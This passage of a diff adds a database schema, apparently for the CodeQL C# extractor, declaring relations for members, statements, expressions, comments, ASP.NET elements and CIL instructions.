@type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + 